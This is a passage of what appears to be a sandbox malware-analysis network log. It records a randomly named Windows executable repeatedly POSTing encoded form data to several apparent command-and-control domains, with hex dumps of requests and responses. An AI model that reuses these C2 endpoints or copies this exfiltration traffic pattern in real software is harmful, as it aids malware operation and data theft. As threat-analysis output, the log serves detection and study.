Nov 12, 2024 18:49:05.580292940 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 12 Nov 2024 17:49:05 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "6693de8b-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50020	38.47.207.164	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:06.923726082 CET	808	OUT	POST /pmk2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.t19yd.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Origin: http://www.t19yd.top Referer: http://www.t19yd.top/pmk2/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 36 42 32 58 62 4a 41 31 4d 33 68 56 44 48 6b 58 57 4e 2f 56 35 68 64 68 30 61 4f 78 54 4e 74 56 55 65 53 30 50 56 4f 52 7a 2b 66 77 52 2b 37 57 72 51 4d 53 42 37 56 6f 38 51 75 52 67 79 71 63 41 4f 52 45 59 42 4b 4d 61 63 41 38 4d 35 52 68 41 6c 6f 67 4c 5a 73 4a 62 6a 33 55 32 6c 4f 6c 52 54 59 36 55 72 53 52 74 53 47 58 68 73 6d 31 69 35 76 66 6d 56 58 4c 77 64 76 55 4b 50 2f 61 39 76 61 4f 54 74 32 6b 66 71 58 50 68 2b 77 56 34 65 59 72 45 41 6d 7a 62 38 4d 56 79 48 6d 49 54 57 41 43 73 61 50 64 68 34 61 71 58 58 63 72 62 79 45 55 70 32 70 67 52 43 38 6d 6b 35 71 35 45 37 6b 53 46 63 74 53 6c 4e 41 34 59 2b 6b 75 58 6e 61 32 4d 73 45 3d Data Ascii: C0oD=6B2XbJA1M3hVDHkXWN/V5hdh0aOxTNtVUeS0PVORz+fwR+7WrQMSB7Vo8QuRgyqcAOREYBKMacA8M5RhAlogLZsJbj3U2lOlRTY6UrSRtSGXhsm1i5vfmVXLwdvUKP/a9vaOTt2kfqXPh+wV4eYrEAmzb8MVyHmITWACsaPdh4aqXXcrbyEUp2pgRC8mk5q5E7kSFctSlNA4Y+kuXna2MsE=
Nov 12, 2024 18:49:07.868855000 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 12 Nov 2024 17:49:07 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "6693de8b-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50021	38.47.207.164	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:09.468501091 CET	10890	OUT	POST /pmk2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.t19yd.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Origin: http://www.t19yd.top Referer: http://www.t19yd.top/pmk2/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 36 42 32 58 62 4a 41 31 4d 33 68 56 44 48 6b 58 57 4e 2f 56 35 68 64 68 30 61 4f 78 54 4e 74 56 55 65 53 30 50 56 4f 52 7a 2b 58 77 52 49 76 57 72 33 67 53 41 37 56 6f 32 77 75 51 67 79 71 37 41 4f 4a 41 59 42 50 35 61 5a 45 38 4e 63 64 68 55 45 6f 67 43 5a 73 4a 65 54 33 52 70 56 50 6c 52 54 49 32 55 72 43 52 74 53 47 58 68 75 75 31 72 49 76 66 71 31 58 49 67 4e 76 59 4f 50 2b 31 39 76 79 30 54 74 7a 66 66 62 33 50 68 65 67 56 2f 73 77 72 48 67 6d 6d 56 63 4d 64 79 48 71 70 54 53 67 4f 73 62 4c 6e 68 2f 79 71 62 54 39 32 4f 47 4e 4e 36 58 45 39 53 7a 67 32 6f 5a 6a 35 50 49 34 4a 41 4e 38 4a 36 39 77 47 62 73 56 32 4b 46 2b 6f 62 4d 41 36 73 36 38 6d 30 73 4d 43 53 35 4a 54 43 51 44 32 31 5a 7a 41 34 54 79 58 57 6b 43 73 72 76 41 77 41 30 6f 52 67 33 35 31 66 64 66 73 73 36 65 42 74 36 34 53 4e 31 4f 70 66 73 6d 69 55 76 78 59 37 2f 30 44 58 30 61 6d 66 36 33 79 6a 6d 38 72 39 4e 63 63 59 69 6d 50 6a 4b 4f 38 69 37 41 50 56 6d 54 59 54 50 73 51 71 71 51 6b 37 39 7a 71 38 72 53 6b 4c [TRUNCATED] Data Ascii: C0oD=6B2XbJA1M3hVDHkXWN/V5hdh0aOxTNtVUeS0PVORz+XwRIvWr3gSA7Vo2wuQgyq7AOJAYBP5aZE8NcdhUEogCZsJeT3RpVPlRTI2UrCRtSGXhuu1rIvfq1XIgNvYOP+19vy0Ttzffb3PhegV/swrHgmmVcMdyHqpTSgOsbLnh/yqbT92OGNN6XE9Szg2oZj5PI4JAN8J69wGbsV2KF+obMA6s68m0sMCS5JTCQD21ZzA4TyXWkCsrvAwA0oRg351fdfss6eBt64SN1OpfsmiUvxY7/0DX0amf63yjm8r9NccYimPjKO8i7APVmTYTPsQqqQk79zq8rSkLRl7pEU2vaexMZJrd4HTXL48G6S7RpTiqJN4uwyIbKC8N9v5aA6ysI8Q4Yj8C3CNOMRbQOHxp4+1y9tc8vydrNxQeARg3GT0whVrTnWVfOBT7/nAqD+KKAsQtYL7+WK+sk6JB9HMDG4WIRGrfAlQl7OOA6Uq6cpONPVzdpZ2VbJ4idfoUsUSI3rIYdEhCAZdREhUidfu5O2lqwAAa7qCWFSR1TMCWd/sWcb5n6EEjpDPA4sVNynrIQBeVM6iRyP2W5PorpUstKpsafWZIWg5hmVZpMZcoZrG+spCyv0LiomrFa6rqUTjZOoXdcbRbDuclNpesZYwLBdNOJNscYFlONG5XPJekb1YhTzYM8tqUkscOsUi0oItJmtJMPbBbJS0QO5k7ANQLC3KxHvotZI92KNc4shZhO/NLfAduenjRpfVCEV+TISXMkuxH04u2FBktYxfv8VbsqHv1tAX9MqLH9XEorgGZewX+D4X9OQTvgovSGs3X3Uif1kYYxH1cRuynr07AqG7dtIVPhvtEBAmRBYeQ0MBLXai9Dd8TRjA0GFC/i1NBTfc5K2YTP7VMF3mE9X1/WsrYVMigNLOGLAyilvAYPqepMYGg1gJziiMoUkzWjw/DeQ6+tZmYa4t3ISa6sC5IlgU2KP5vodroAin7a+AKAmjomCHt1R [TRUNCATED]
Nov 12, 2024 18:49:10.419212103 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 12 Nov 2024 17:49:10 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "6693de8b-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50022	38.47.207.164	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:12.011303902 CET	535	OUT	GET /pmk2/?C0oD=3De3Y80JIFpHXFcRK4zsuRoR2JqTRvVObOTBM3no2IT+Ydj8n3o/JZofxiKD9jGsDaNhY1uQAIUnKpNiMGMuE6w7CVHn6nbaXTI3bq+rgxbHjMuEgJndnnM=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.t19yd.top Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Nov 12, 2024 18:49:12.961158037 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 12 Nov 2024 17:49:12 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "6693de8b-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50023	3.33.130.190	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:18.220218897 CET	791	OUT	POST /ow2x/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.qwibie.net Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Origin: http://www.qwibie.net Referer: http://www.qwibie.net/ow2x/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 72 79 73 70 4d 46 6f 75 73 52 6e 33 66 69 4e 54 6c 42 36 62 33 73 56 39 56 6c 66 44 42 46 4c 6b 72 4c 6d 32 4b 5a 2b 31 55 6f 79 55 41 6a 69 44 6d 65 57 6a 6a 45 63 70 33 4d 4a 62 61 46 36 2b 63 38 35 6f 32 47 47 37 38 2f 77 4f 33 71 59 5a 56 32 70 4d 4d 54 39 67 4c 68 59 49 33 4e 37 39 68 55 5a 56 4b 6b 6d 6c 7a 73 74 67 58 43 2b 77 69 58 58 75 6e 53 44 6c 48 43 53 65 49 55 78 49 55 35 4e 2f 4f 42 58 4c 34 65 4b 37 4b 75 47 64 59 79 73 6c 47 38 57 61 36 78 6d 39 65 72 4b 6b 56 30 72 47 70 77 58 48 38 49 4b 38 6a 4d 78 32 4b 54 4e 6d 77 46 35 79 4a 73 36 73 30 32 50 6f 69 77 3d 3d Data Ascii: C0oD=ryspMFousRn3fiNTlB6b3sV9VlfDBFLkrLm2KZ+1UoyUAjiDmeWjjEcp3MJbaF6+c85o2GG78/wO3qYZV2pMMT9gLhYI3N79hUZVKkmlzstgXC+wiXXunSDlHCSeIUxIU5N/OBXL4eK7KuGdYyslG8Wa6xm9erKkV0rGpwXH8IK8jMx2KTNmwF5yJs6s02Poiw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50024	3.33.130.190	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:20.760190964 CET	811	OUT	POST /ow2x/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.qwibie.net Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Origin: http://www.qwibie.net Referer: http://www.qwibie.net/ow2x/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 72 79 73 70 4d 46 6f 75 73 52 6e 33 65 43 39 54 67 69 43 62 2f 73 56 2b 57 6c 66 44 4b 6c 4c 2f 72 4b 61 32 4b 59 36 6c 58 62 57 55 44 43 79 44 6e 62 32 6a 6b 45 63 70 34 63 4a 6b 48 56 36 70 63 38 46 65 32 44 2b 37 38 2f 30 4f 33 75 63 5a 55 47 56 50 4b 44 39 75 43 42 59 4f 6f 64 37 39 68 55 5a 56 4b 6b 61 62 7a 73 6c 67 57 79 4f 77 6a 32 58 74 71 79 44 69 51 79 53 65 4d 55 77 67 55 35 4e 4e 4f 41 4c 68 34 63 43 37 4b 76 57 64 59 47 34 6b 50 38 58 66 2b 78 6e 6f 64 70 54 42 50 48 4b 53 67 44 50 36 79 35 4b 4e 69 4b 38 73 62 69 73 78 69 46 64 42 55 72 7a 59 35 31 79 68 35 36 54 2f 75 42 33 71 65 2f 30 7a 67 48 61 33 46 6f 64 71 37 6c 49 3d Data Ascii: C0oD=ryspMFousRn3eC9TgiCb/sV+WlfDKlL/rKa2KY6lXbWUDCyDnb2jkEcp4cJkHV6pc8Fe2D+78/0O3ucZUGVPKD9uCBYOod79hUZVKkabzslgWyOwj2XtqyDiQySeMUwgU5NNOALh4cC7KvWdYG4kP8Xf+xnodpTBPHKSgDP6y5KNiK8sbisxiFdBUrzY51yh56T/uB3qe/0zgHa3Fodq7lI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50025	3.33.130.190	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:23.304402113 CET	10893	OUT	POST /ow2x/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.qwibie.net Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Origin: http://www.qwibie.net Referer: http://www.qwibie.net/ow2x/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 72 79 73 70 4d 46 6f 75 73 52 6e 33 65 43 39 54 67 69 43 62 2f 73 56 2b 57 6c 66 44 4b 6c 4c 2f 72 4b 61 32 4b 59 36 6c 58 62 65 55 44 77 71 44 6d 36 32 6a 6c 45 63 70 2b 73 4a 68 48 56 37 72 63 38 73 58 32 44 37 4f 38 39 38 4f 31 4c 49 5a 46 46 4e 50 44 44 39 75 50 68 59 50 33 4e 37 6f 68 55 4a 5a 4b 6c 32 62 7a 73 6c 67 57 78 57 77 6c 6e 58 74 6f 79 44 6c 48 43 53 53 49 55 78 4e 55 34 6f 34 4f 41 2f 62 34 73 69 37 4b 50 6d 64 61 56 51 6b 4e 63 58 52 79 52 6d 72 64 70 76 53 50 48 6d 65 67 41 54 55 79 35 2b 4e 69 4c 46 61 43 7a 78 72 67 6c 64 2f 4b 4a 6e 68 36 43 4b 59 30 39 53 46 75 43 62 76 64 75 51 38 37 32 7a 6c 51 71 4a 66 75 69 2f 68 36 38 51 71 56 36 6d 38 62 4d 32 70 2f 64 76 6a 54 47 58 6a 43 37 57 42 48 66 61 34 54 61 79 50 68 67 44 62 66 6a 63 68 72 74 65 74 6e 6d 44 38 61 50 37 32 52 64 45 35 4c 2b 6c 6a 64 45 46 65 64 45 67 57 68 71 59 45 44 46 6d 58 52 61 2b 2f 66 4a 37 4f 71 46 36 44 47 71 4e 7a 4c 47 5a 44 68 54 42 44 2f 55 42 33 7a 79 6e 63 49 6a 50 7a 76 64 71 79 51 [TRUNCATED] Data Ascii: C0oD=ryspMFousRn3eC9TgiCb/sV+WlfDKlL/rKa2KY6lXbeUDwqDm62jlEcp+sJhHV7rc8sX2D7O898O1LIZFFNPDD9uPhYP3N7ohUJZKl2bzslgWxWwlnXtoyDlHCSSIUxNU4o4OA/b4si7KPmdaVQkNcXRyRmrdpvSPHmegATUy5+NiLFaCzxrgld/KJnh6CKY09SFuCbvduQ872zlQqJfui/h68QqV6m8bM2p/dvjTGXjC7WBHfa4TayPhgDbfjchrtetnmD8aP72RdE5L+ljdEFedEgWhqYEDFmXRa+/fJ7OqF6DGqNzLGZDhTBD/UB3zyncIjPzvdqyQouI32M6ZK/OIzJk0bT3qaz49pm8GsL59ybXOwc3Ipy2SOKdoxkrR9y0WDViTdCc7FD8HDg0dXphPvJczRqayOclFSXZ5HCg/9ESfmB0iRopTb1czXaMBPvgXKDFg/DadbYg4YS2opJfRJ0eCoOX02CUV7dCyH6du5a6ykgG6p6WgiGZ88j0+f/xe2FC9jDZT81Z8aTjvPbTLjxKk+RMz50dX7xzhBvJo+z413VqtEGOmUjQzNJK+R35GMPVp+k/AHBSbmsKYhcRaRdSz0ufhVtOS8Fcd8+BTnZ8rUwbJy66POUe7iz+unZ5s8JyyMKk//eohyOOjcYWwYwrYanPeHEulZKF3lS5Ef6XXWGXB3s0GBlgF5CQLRCoAca5vUJ+UxSe2LsUW+ILhFcDuRkqmgliJdQmtzB5biwuJX+bu+UYp78UqfdEF2b8WKVw6714cYJESexaRTz1W6gd7pdm+UVoodXbymEwStHUdRcdQpuSNFwabL0uSffStvLjBaujyQra2vvgbTkh+1LIRQ9Bl8UpONAOeOVEfLhXzQzPlyUpWjNyFW9u0CN4gouffnWAGzTnGiGgZVzPaT3WxPdTzq0FkqtpEB9JRgHCycnFypZ9xNtbKjucuHJdbF1tgX/xh6fxoEYtAS3P16Kt2PCPm+IJduTp3mjxKdM [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50026	3.33.130.190	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:25.854284048 CET	536	OUT	GET /ow2x/?C0oD=mwEJPxghqBP0HS9n1X+CrOIbCVLsB2OYlrv9OZrAb/GKMQe/j/2ClGpq87hpEmyNapVO3nqvych02uE3cVtiKilbfBQm7ePgulBUbiKMxe88UCqWlHKJoDI=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.qwibie.net Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Nov 12, 2024 18:49:26.482073069 CET	402	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 12 Nov 2024 17:49:26 GMT Content-Type: text/html Content-Length: 262 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 43 30 6f 44 3d 6d 77 45 4a 50 78 67 68 71 42 50 30 48 53 39 6e 31 58 2b 43 72 4f 49 62 43 56 4c 73 42 32 4f 59 6c 72 76 39 4f 5a 72 41 62 2f 47 4b 4d 51 65 2f 6a 2f 32 43 6c 47 70 71 38 37 68 70 45 6d 79 4e 61 70 56 4f 33 6e 71 76 79 63 68 30 32 75 45 33 63 56 74 69 4b 69 6c 62 66 42 51 6d 37 65 50 67 75 6c 42 55 62 69 4b 4d 78 65 38 38 55 43 71 57 6c 48 4b 4a 6f 44 49 3d 26 53 4a 4c 74 79 3d 37 5a 73 6c 38 62 41 48 71 64 6b 48 45 6e 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?C0oD=mwEJPxghqBP0HS9n1X+CrOIbCVLsB2OYlrv9OZrAb/GKMQe/j/2ClGpq87hpEmyNapVO3nqvych02uE3cVtiKilbfBQm7ePgulBUbiKMxe88UCqWlHKJoDI=&SJLty=7Zsl8bAHqdkHEnH"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50027	103.21.221.4	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:31.569828987 CET	827	OUT	POST /kfzf/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.tempatmudisini06.click Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Origin: http://www.tempatmudisini06.click Referer: http://www.tempatmudisini06.click/kfzf/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 32 36 52 34 38 58 71 6c 73 56 52 34 57 47 4e 51 6c 4d 79 34 64 44 61 77 6b 79 72 61 74 6c 61 61 32 2f 49 57 30 73 4f 34 6c 59 63 78 6a 37 63 45 43 34 68 32 32 7a 36 6f 4f 4e 37 70 62 6f 7a 43 6f 43 44 4e 71 4f 34 78 78 53 7a 6c 5a 49 35 6f 6f 44 69 48 4c 6b 31 2f 79 51 42 69 57 63 48 4d 52 62 78 72 59 2b 55 76 6d 41 56 30 53 63 2f 67 54 64 69 63 32 62 65 77 5a 78 48 2f 53 52 63 6e 31 31 76 76 57 71 46 6b 6c 47 4d 72 79 75 34 41 42 45 47 6a 57 6a 39 54 57 6b 39 34 42 4e 61 65 47 59 35 63 62 79 69 65 34 6a 74 6f 35 75 6f 43 31 63 73 73 35 5a 61 35 79 43 62 67 33 66 4d 58 4e 51 3d 3d Data Ascii: C0oD=26R48XqlsVR4WGNQlMy4dDawkyratlaa2/IW0sO4lYcxj7cEC4h22z6oON7pbozCoCDNqO4xxSzlZI5ooDiHLk1/yQBiWcHMRbxrY+UvmAV0Sc/gTdic2bewZxH/SRcn11vvWqFklGMryu4ABEGjWj9TWk94BNaeGY5cbyie4jto5uoC1css5Za5yCbg3fMXNQ==
Nov 12, 2024 18:49:32.575869083 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 12 Nov 2024 17:49:32 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50028	103.21.221.4	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
